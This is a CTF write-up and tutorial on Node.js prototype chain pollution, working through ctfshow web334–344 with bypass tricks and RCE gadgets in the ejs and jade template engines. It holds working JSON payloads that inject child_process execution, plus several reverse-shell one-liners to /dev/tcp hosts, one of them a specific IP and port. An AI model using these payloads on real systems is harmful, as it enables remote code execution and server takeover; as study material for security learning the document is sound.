Article directory
-
- NodeJS prototype chain pollution & ctfshow_nodejs
NodeJS prototype chain pollution & ctfshow_nodejs
foreword
Recently, I encountered a problem about the pollution of the prototype chain, so I will summarize it here for easy review
0x01. Prototype and prototype chain
Everything in js is an object, and there are common and differences between objects.
- common: the final prototype of the object is
Object
the prototype ofnull
- Difference: There are attributes in the function object
prototype
, but the strength object does not
1. Definition of prototype:
Prototype is the basis of inheritance in Javascript, and Javascript inheritance is inheritance based on prototype
(1) All reference types (functions, arrays, objects) have __proto__
properties (implicit prototype
(2) All functions have prototype
attributes (explicit prototypes) (functions only)
2. Definition of prototype chain:
The prototype chain is the implementation form of javascript, which recursively inherits the prototype of the prototype object, and the top of the prototype chain is the prototype of Object.
0x02.prototype and __proto__
what are they?
prototype
prototype
It is an attribute of a class, and all class objects will have the methods of the attributes in it when they are instantiated
__proto__
An attribute of an object , pointing toprototype
an attribute of the class in which the object belongs
We can Foo.prototype
access Foo
the prototype of the class through , but Foo
the instantiated object cannot access the prototype through the prototype. At this time, it's time __proto__
to show up.
A foo object instantiated from the Foo class can foo.__proto__
access the prototype of the Foo class through attributes, that is to say:
foo.__proto__ == Foo.prototype
0x03. Prototype chain inheritance
prototype
All class objects will have properties and methods when they are instantiated . This feature is used to implement the inheritance mechanism in JavaScript.
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${
son.first_name} ${
son.last_name}`)
// Name: Melania Trump
To sum up, for the object son, when calling son.last_name
, the JavaScript engine will actually perform the following operations:
- Find last_name in object son
- If not found,
son.__proto__
look for last_name in - If still not found, then keep
son.__proto__.__proto__
looking for last_name in - Search in turn until
null
the end is found. For example ,Object.prototype
the__proto__
null
Knowledge points:
- Each constructor (constructor) has a prototype object (prototype)
- The property of the object
__proto__
, pointing to the prototype object of the classprototype
- JavaScript uses the prototype chain to implement the inheritance mechanism
Prototype chains for different objects*
var o = {
a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
Knowing this, it will be easy to understand later
0x04. Prototype chain pollution principle
For the statement: object[a][b] = value
If you can control the values of a, b, and value, and set a to __proto__
, we can set a b attribute for the prototype of the object object, and the value is value. In this way, all instance objects that inherit the prototype of the object object will have the b attribute, and the value will be value, even if they do not have the b attribute themselves.
object1 = {
"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {
"c":1, "d":2};
console.log(object2.foo); //Hello World
Eventually two Hello Worlds will be output. Why does object2 output Hello World even if the foo attribute is not set? It is because in the second statement, we set a foo property on the prototype object of object1, and object2, like object1, inherits Object.prototype. When obtaining object2.foo, since object2 itself does not have the foo attribute, it will search for it in the parent class Object.prototype. This creates a prototype chain pollution, so prototype chain pollution simply means that if you can control and modify the prototype of an object, it can affect all objects with the same prototype as this object.
0x05.merge() causes prototype chain pollution
The merge operation is the most common operation that may control the key name, and it is also the most vulnerable to prototype chain attacks.
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {
}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b) // 1 2
object3 = {
}
console.log(object3.b) // 2
The above has been polluted successfully, object3 has no b
variables, but the output is 2, indicating that we have polluted Object
the value of the prototype object, according to the inheritance of the prototype chain, object3 also has b
variables, so the output is 2
Points to note are:
In the case of JSON parsing__proto__
, it will be considered a real "key name" instead of a "prototype", so this key will exist when traversing object2.
If we don't use json parsing:
let o1 = {
}
let o2 = {
a: 1, "__proto__": {
b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2
o3 = {
}
console.log(o3.b) // undefiend
This is because, in the process of creating o2 with JavaScript ( let o2 = {a: 1, "__proto__": {b: 2}}
), __proto__
it already represents the prototype of o2. At this time, when traversing all the key names of o2, what you get [a, b]
is __proto__
not a key, and naturally the prototype of Object will not be modified. .
0x06.ejs template engine RCE
https://www.anquanke.com/post/id/236354#h2-2
This vulnerability can be referred to: ctfshowweb341
The prerequisite for using ejs for RCE is prototype chain pollution. For example:
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({
ret_code: 0, ret_msg: 'login success!'});
}else{
return res.json({
ret_code: 2, ret_msg: 'login fail!'});
}
});
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
Here, copy()
the prototype chain pollution vulnerability can be caused by the function
From what app.js
we can see the template engine is used ejs
:
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
function we ejs.js
followrenderFile()
In the EJS (Embedded JavaScript) template engine,
renderFile()
it is a method for loading and rendering template files. It is commonly used with the Express framework.
renderFile()
The function of the method is to read the specified EJS template file, and fill the data into the template to generate the final HTML content . This method is mostly used to inject dynamic data into templates to generate dynamic web content
It can be seen that this renderFile()
function is very important. If the value output by it can be controlled, the corresponding code will be executed
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {
filename: filename};
var data;
var viewOpts;
...
return tryHandleCache(opts, data, cb);
};
The return value is tryHandleCache(opts, data, cb)
what we follow up:
function tryHandleCache(options, data, cb) {
var result;
if (!cb) {
if (typeof exports.promiseImpl == 'function') {
return new exports.promiseImpl(function (resolve, reject) {
try {
result = handleCache(options)(data);
resolve(result);
}
...
}
else {
try {
result = handleCache(options)(data);
}catch (err) {
return cb(err);
}
...
}
}
We found that this function must enter:handleCache()
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
...
func = exports.compile(template, options); //返回值
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
The return value of this function is func
, func
but exports.compile(template, options)
the return value, continue to follow up: compile()
compile: function () {
...
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
...
...
}
We found that there are a lot of splicing rendering in the function,
If it can be covered opts.outputFunctionName
, the payload we constructed will be spliced into the js statement, and RCE will be performed when ejs is rendered
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); var __tmp2 = __append;'
// 拼接了命令语句
We can override opts.outputFunctionName
as:
__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2
Then after the ejs prototype chain is polluted outputFunctionName
, rce can be realized
Since the example here: user.userinfo
is a function, it needs to be used twice __proto__
to get the prototype object:Object
{
"__proto__":{
"__proto__":{
"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2"}}}
After the copy function is executed, outputFunctionName
has been copied in the global variable at this time, and our pollution chain can be found under the of __proto__
Global :__proto__
__proto__
Another rce of ejs template engine
var escapeFn = opts.escapeFunction;
var ctor;
...
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
Forgery opts.escapeFunction
can also perform RCE
{
"__proto__":{
"__proto__":{
"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}
{
"__proto__":{
"__proto__":{
"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
0x07.jade template engine RCE
You can refer to: ctfshow web342
The pollution idea of the prototype chain is very similar to the ejs idea
The template engine found in app.js is jade:
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');
Let's follow up jade.js
, keep watchingrenderFile()
exports.renderFile = function(path, options, fn){
// support callback API
...
options.filename = path;
return handleTemplateCache(options)(options); //返回值
};
follow uphandleTemplateCache()
function handleTemplateCache (options, str) {
...
else {
var templ = exports.compile(str, options); //
if (options.cache) exports.cache[key] = templ;
return templ;
}
}
The return value is temp1
, so we followcompile()
We must satisfy:compileDebug==true
The jade template is different from ejs, there will be parse analysis before compile, try to control the statement passed into parse
So let's follow up with parse()
the function
In the parse function, these two steps are mainly performed, and the last part returned:
var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self
? 'var self = locals || {};\n' + js
: addWith('locals || {}', '\n' + js, globals)) + ';'
+ 'return buf.join("");';
return {
body: body, dependencies: parser.dependencies};
options.self
Controllable, if we control self=true
, we can bypass addWith
the function,
Follow up the compile function and see what it does:
The return is buf, follow up the visit function
If debug is true, node.line
it will be pushed in, resulting in splicing (two parameters)
jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句
When returning, it will also pass through the visitNode function:
visitNode: function(node){
return this['visit' + node.type](node);}
This function will execute visit
the function at the beginning, so we need to control it type
to be valid:
visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen
Then you can return to the buf part for command execution
{
"__proto__":{
"__proto__": {
"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
(Pollution of the corresponding variable, so as to enter the specified place for string splicing)
Supplement: For the pollution of the jade RCE chain, ordinary templates can only pollute self and line, but templates with inheritance also need to pollute type
【ctfshow】nodejs
web334
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({
ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({
ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{
username: 'CTFSHOW', password: '123456'}
]
};
Obviously, we just need to bypass here:toUpperCase()是javascript中将小写转换成大写的函数。
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
We can use lowercase to bypass:ctfshow
Here is another small trick,
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
So we can also write it like this:ctfſhow
web335
Source code hint:
<!-- /?eval= -->
So we can use the command execution nodejs
ineval()
The call in Node.js
child_process.exec
is /bash.sh, which is a bash interpreter that can execute system commands. Can be constructed in the parameters of the eval functionrequire('child_process').exec('');
to call.
Here we choose to reverse the shell,
bash -i >& /dev/tcp/ip/port 0>&1
The meaning of this sentence is to rebound the shell, reshape the output and input to the specified port of the specified ip,
But we can't do this directly, we need to base64 encode first (note that the plus sign needs to be url-encoded as %2B), then use echo output, use the pipe symbol | to decrypt the output as input to base64, and finally pass it to base64 -d
bash
Here I choose my own server, first listen to port 9996, and then execute
Successfully listened to:
Read the flag directly
web336
We learned the following knowledge points:
__filename
: The file name of the current module. This is the absolute path to the resolved symlink to the current module file.
__dirname
: You can get the full path of the directory where the current file is located starting from the drive letter
One way is to use fs
the module to read the file name of the current directory, and then use the method to read the file content:
require('fs').readdirSync('.')
require('fs').readFileSync('fl001g.txt')
Conventional method: filtered here exec
, we can usespawn
nodejs
You child_process
can use exec
, execSync
, spawn
, spawnSync
to execute commands
When we use:
require('child_process').spawnSync('ls')
discover, display object
, inquire about information
There is an attribute in the returned object stdout
, we call it, it can be output as a string:
Then we go to read the file:
// require('child_process').spawnSync('cat fl001g.txt').stdout
The syntax is wrong to read it this way, we need this:
require('child_process').spawnSync('cat',['fl001g.txt']).stdout
There is another way of thinking, by defining variables, and then splicing multiple variables:
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{
msg: 'tql'});
}
});
module.exports = router;
The key points are here:
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
Here you can use an array to bypass
a = ['1']
b = 1
console.log(a + 'flag')
console.log(b + 'flag')
output:
1flag
1flag
As you can see, nodejs
middle: if the output is concatenated with the array and the string , and the output is concatenated with the number and the string , the result is the same
So we have an idea that a can be passed into an array, and then b can be passed into an equivalent number:
a[]=1&b=1
There is another way,
nodejs
The array in the middle can only be a numeric index, if it is a non-numeric index, it is equivalent to an object.
a = {
'x': 1}
b = {
'x': 2}
console.log(a + 'flag')
console.log(b + 'flag')
输出:
[object Object]flag
[object Object]flag
So we bypass directly:
a[x]=1&b[x]=2
web338
nodejs prototype chain pollution
The key is:
commons.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
//
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
We can copy()
pollute the ctfshow attribute of the secret variable through the function and through the prototype chain
{
"username":"asd",
"password":"123",
"__proto__" : {
"ctfshow":"36dboy"
}
}
web339
login.js
let user = {
};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}
no use here
api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', {
query: Function(query)(query)});
});
Pay attention to this sentence: Function(query)(query)
, this way of writing can dynamically execute the function:
console.log(Function('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()')('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()'))
// leekos\like
Therefore, we only need to pollute query
the variables through the prototype chain and bounce the shell:
"__proto__": {
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')"
}
Pollution when logging in query
, and then accessing /api
the route can trigger a rebound shell:
web340
login.js has changed a bit, api.js is still the same
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}
The function is still called here copy()
, which can cause prototype chain pollution. But note that it is not used here user.userinfo.isAdmin=true
, because even if its prototype is polluted, it is still false, because of the principle of similarity and proximity, the value of the variable is still equal to the value close to them, we have no way to start from here
Let's continue from query
the beginning, here we want to req.body
copy the value in to theuser.userinfo
Since user.userinfo
it is a function, after passing it once __proto__
, the prototype object obtained is Function
, and __proto__
after passing it again, the prototype object obtained is Object
, and it can be polluted . It only needs query
two times here :__proto__
"__proto__":{
"__proto__":{
"query":
"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/49.235.108.15/9996 0>&1\"')"
}
}
web341
ejs prototype chain pollution:
https://www.anquanke.com/post/id/236354#h2-2
"__proto__":{
"__proto__":{
"outputFunctionName":
"_tmp1; return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _tmp2"
}
}
web342-343
jade prototype chain pollution:
{
"__proto__":{
"__proto__": {
"type":"Code",
"compileDebug":true,
"self":true,
"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"
}
}
}
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
filtered 8c
, 2c
_,
We should have passed parameters like this:
/?query={"name":"admin","password":"ctfshow","isVIP":true}
The HTTP protocol allows parameters with the same name to appear multiple times, but different servers handle parameters with the same name differently:
Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All(List)
ASP/IIS Request.QueryString(“par”) All (comma-delimited string)
In nodejs, the parameters with the same name will be stored in the form of an array , and JSON.parse
can be parsed normally
The above commas ,
are filtered, we can &
rewrite it into the following format:
/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
But at this time there is another problem, the url encoding of double quotes: after combining %22
with ctfshow, it will become, filtered,c
2c
So we should c
code it:%63
/?query={
"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
reference
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://www.anquanke.com/post/id/236354#h2-3